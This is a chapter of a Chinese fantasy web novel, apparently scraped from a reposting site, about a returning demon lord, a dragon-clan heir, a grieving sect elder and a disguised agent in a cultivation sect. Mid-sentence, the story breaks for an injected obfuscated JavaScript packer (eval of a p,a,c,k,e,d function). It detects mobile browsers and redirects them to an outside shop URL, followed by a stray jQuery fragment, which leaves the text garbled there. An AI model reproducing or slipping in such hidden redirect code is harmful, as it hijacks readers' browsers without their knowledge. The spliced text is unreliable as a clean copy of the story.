文趣网 > 其他小说 > 师兄总想坏我无情道 > 4. 小师妹(四)
    东荒魔界,魔宫上方一柱气流直上天云,搅得黑云翻动,直现一片长涡。

    黑袍男子看了眼翻腾的云,踏步朝殿内而去。

    微弱的烛火摇曳,跳动在正放殿中的玄晶棺上,显得阴沉森然,那棺开着,里面空无一物,他还想继续走近些。

    “荣离。”声音从后方传来,沉冷中带了些沙哑。

    荣离顿步转身,面前男子目光沉沉,冷然而立。他还是八百年前见过这位魔界少主越敖,只是后来魔界发生变故,少主消失,前十几年才被找回来,据说失忆不愿回到魔界,被那些老不死的关在玄晶馆中。

    惊雷自窗边轰然降下,荣离笑道:“看来新一任尊贵的魔界之主归来了。”说罢双手交护至身前微礼,“尊主。”

    越敖淡然开口:“集冥呢?那件事怎么样了?”

    荣离拧眉,嘶,哪件事?唯一能想到的就是四年前自家爹要他帮忙办的。

    集冥是玄龙族之主,同时是他的父王。玄龙一族生来就具有龙魂之力,但奈何子嗣稀薄。多年前,魔族受到各界排挤,初代魔主和玄龙族达成交易,于是玄龙族便世代为魔界效力,两者寻求共生。

    现在魔界无主,同时还受到人界和修真界的打压抵制。于是他的老父亲为传承世代承诺,决定祭献自己的力量保证魔界兴而不亡,并让自己等待新任魔主复活并为之效力。

    “回尊主,吾父已效忠祭天,至于四年前寻找一事,夜鸦已有眉目,但最后却不得而终。”

    “呜呜少主,鸦鸦等得你好苦!”一只乌鸦哭嚎着从窗飞来。

    殿内两人皱眉捂住耳朵:难听死了!

    夜鸦围着越敖嘲哳,荣离看尊主捏着拳头忍了又忍,顿时心中同情,被这个大喇叭缠上真的有福了。

    越敖怒道:“说重点!你去办的事怎么样了?”

    “哦哦。”说着夜鸦变化出人形。

    越敖一脸嫌弃看他,“你这穿的什么,虽然我们落魄了,但魔宫里连件像样的衣服都穿不起了吗?”

    夜鸦看了看自己还没换掉的算命袍,不好意思地挠挠头,“这些年也没出去,一直用本体,忘记换了。”随后他一拍脑袋,“对了,少主你之前让我找的人我找到了,但是那女孩体内有股力量我无法动手接近,于是就引他去法阵,结果被这个蠢货打搅了。”

    说着不满地瞪荣离一眼。

    “喂!臭乌鸦,你还好意思说。”荣离提到这个就来气,“要不是你把他引到那里,我至于把龙魂之力弄丢吗?”

    越敖捕捉到重点,拧眉面色不悦:“龙魂之力不见了?和我要找的那个人有什么关系?”

    荣离挠挠头:“当时我把父王弄死了,准备收集龙魂之力,可谁成想它咻地一下飞走了。”

    夜鸦:你可真是个大孝子。

    他道:“当时我还在等那个女孩来,结果一团黑气飞过来给人家创飞了,不知是不是龙魂之力。”

    越敖听完两人的话,沉思片刻,问道:“那女孩现在在哪儿?”

    “当时我准备去看的,结果修真界的一个白胡子老头来了,乐呵呵地给人带走了。”夜鸦垂头沮丧,“我打不过他...”

    越敖抬首望着染着猩红的天,想来这时候现在正是春日吧,不禁怀念起曾经有过一段美好的日子。

    凡间的天不似魔界那般压抑多变,春日明媚和煦,枯树抽出新芽,沐光朝气生长。

    女子笑颜明媚,脚踩在带着凉意的小溪里,欢乐地转了半圈,纱裙同光下的水波鳞鳞齐齐漾开。

    他以为能度过很多个春日,可入了冬,就再也没能等到春天。

    越敖垂下眼,神色阴冷,漫不经心地活动着指关节,问道:“那群老东西呢?”

    荣离随口哦了一声,“这几年差不多死完了,有个叛徒被我爹打牢里去了,还有两个在当缩头乌龟呢。”

    越敖指尖捏得发白,轻笑道:“不急。”他转过身,“我现在要去修真界见一位故人。”

    荣离看着尊主消失在魔气中的身影急忙大喊:“尊主带我一程,我也要去!”

    夜鸦:“喂!你去凑什么热闹。”

    空中声音渐远,“你个黑煤炭懂什么,我也要去见故人!”

    --

    修真界,长黎宗内门。

    天上几颗零星闪烁,庭院空明寂静,有夜风拂过,院内桃花瓣被吹散,带来些许清香。

    丘长老正立于桃树下,花瓣从他眼前飘零滑落,最后落于泥中。

    清脆的拍手声响起,来人轻笑,“当真是好雅兴,花都有归属,可你的女儿呢?”

    丘长老眼中凌厉一闪,从手中召唤出剑来,微眯着盯视来人:“没想到你还没死,如今不老实待着,竟敢擅闯到这来。”

    越敖摊开手,“我如今没了牵挂,死又何妨?”

    “堂堂魔界少主,欺骗我小女,竟还念念不忘,真是笑话。”

    “堂堂修真界长老,对害死自己女儿的这群正道修仙者还能和平共处,真是令人作呕。”

    丘长老怒目圆睁,眼中一片猩红,“你...你休要胡说!”

    越敖沉下脸步步逼近:“我有说错什么吗,他们只在意自己!乐瑶明知道是危险是算计,还是去了!你就没有错吗?”

    他大笑着吼道:“是你害死了她哈哈”

    曾经欺骗自己的尘封的恨意了然无存,丘长老的脸上满是扭曲痛苦。

    乐瑶,是那么活泼俏皮的一个人,面对严苛古板的父亲却依然亲近的好女儿,却被他父亲守护的修士出卖死去。

    越敖对上丘长老悔恨不已的眼睛,自嘲一笑,“她明明会预知,知道有危险会死,但她还是去了。”

    一抹残识灵魄自他手心唤出。

    丘长老盯着那物神色微变,对上越敖那双充满蛊惑的眼睛。

    “如今我找到乐瑶的一片残魂,且有个办法能让她转世。”

    越敖缓缓吐出,“你做,还是不做?”

    --

    明月当空,夜下树影婆娑,晃动在明亮的琉璃灯上。

    燕送秋进去,就见自家三师弟独自坐在石凳上品酒。

    他走过去,拿起桌上的玉盏把玩,“师弟好雅兴,竟独自饮酒不叫我。”

    沈岸听淡淡瞥

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772715|209949||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了他一眼,默不作声拿了酒壶为他斟酒。

    燕送秋轻嗅,随后将杯中酒一饮而尽,“杏花酿,好酒。”说罢坐在沈岸听旁边,作势要再倒一杯。

    “师兄来找我,应当不只是来蹭一杯酒。”

    “师兄来找师弟,理所应当。不过被你猜对了,此次确实有事。”

    燕送秋的神情严肃起来,“二师弟前往祭森岭至今未归,近来魔族猖狂,扎根在山上,甚至游荡在附近城镇。”

    沈岸听嗯了一声,“我一个?”

    “差不多吧,你也知道我忙着宗内事务,还有一月便是宗门大比。”燕送秋将垂落的头发拨到后面,“你四师弟家里有人来也去不了。”

    风将沈岸听的发带扬起,伴着清冽的倒酒声,他问:“何日启程?”

    “明日。”

    --

    黑夜笼罩大片道路,偶尔有提着灯聊天的弟子路过,影子连忙躲进旁边的繁树遮挡身形。

    “啧,这修界就是麻烦,大晚上还这么多人,哪想他们魔界,到晚上人就跟死了一样。”

    荣离还在后面吐槽,就见远处又来了人。

    “简直就是欺人太甚!”一男子搀扶着另一人,声音激烈不平。

    那人哀叫一声,“可恶的江音,竟然找人将我打成这样!那女子也是彪悍,那么长的鞭子二话不说往我身上抽。”洛歇恨恨地咬牙切齿道。

    旁边的人慢下来,“那女的叫庄念薇,来内门来没多久,估计不知道江音这人,还挺仗义帮她。”

    荣离听完转头,摸着下巴轻笑。

    洛歇切一声,恼火道:“既然惹了我,定让他们吃不了兜着走!”

    两人一路骂骂咧咧,直到消失在路口。

    荣离靠着树起身,甩手散出一团黑气,黑气扩散,显示出两张少女的脸,荣离微微怔神,伸手去触碰那张脸,风从指缝流过,抓了个空。

    庄念薇和江音简单聊了几句,就各自回房休息。

    明星稀疏,外面几乎看不见,隐约只有风飞草动的窸窣声。

    女子坐在镜前,将墨发上的头饰取下放入匣子里,却见镜中略过一道黑影。

    “谁!”庄念薇眼眸微眯,脸上染上冷意低呵,一转头,就见黑衣男子站在她的面前。

    “你来干什么?”庄念薇看清来人瞬间变得散漫,但未见得喜色。

    荣离语气玩味,“就是这般对我说话的?”他对上庄念薇高傲的脸,烦躁偏头,稍稍平静后道:“自然是来看看你有没有忘记该做什么。”

    “大哥,我才来一个星期你还指望我进内门?”庄念薇白了面前人一眼,“你知不知道我现在弱得鞭子都挥不动了。”

    他冷声开口,“谁允许你做的?”

    庄念薇抬眉挑衅道:“怎么,你现在心疼了?”

    荣离施法掐住庄念薇的脖子,眉眼透着狠戾。看着面前人痛苦的的脸,警告般道:“不该说的东西最好闭嘴。”

    随后他停止了动作,冷冷离开,消失在黑夜之中。

    庄念薇捂着脖子咳嗽,看向镜中难受发红的脸勾起一抹嘲讽,“急了。”